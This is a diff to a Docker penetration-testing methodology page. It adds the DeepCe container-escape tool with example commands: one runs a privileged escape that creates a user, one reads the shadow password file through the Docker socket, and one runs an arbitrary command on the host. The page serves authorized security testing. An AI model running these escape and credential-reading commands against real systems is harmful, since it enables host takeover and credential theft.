diff --git a/Methodology and Resources/Container - Docker Pentest.md b/Methodology and Resources/Container - Docker Pentest.md index a72ce2c..f7d7ba1 100644 --- a/Methodology and Resources/Container - Docker Pentest.md +++ b/Methodology and Resources/Container - Docker Pentest.md @@ -15,11 +15,18 @@ ## Tools -* Dockscan : https://github.com/kost/dockscan +* [Dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations ```powershell dockscan unix:///var/run/docker.sock dockscan -r html -o myreport -v tcp://example.com:5422 ``` +* [DeepCe](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE) + ```powershell + ./deepce.sh + ./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce + ./deepce.sh --no-enumeration --exploit SOCK --shadow + ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked" + ``` ## Mounted Docker Socket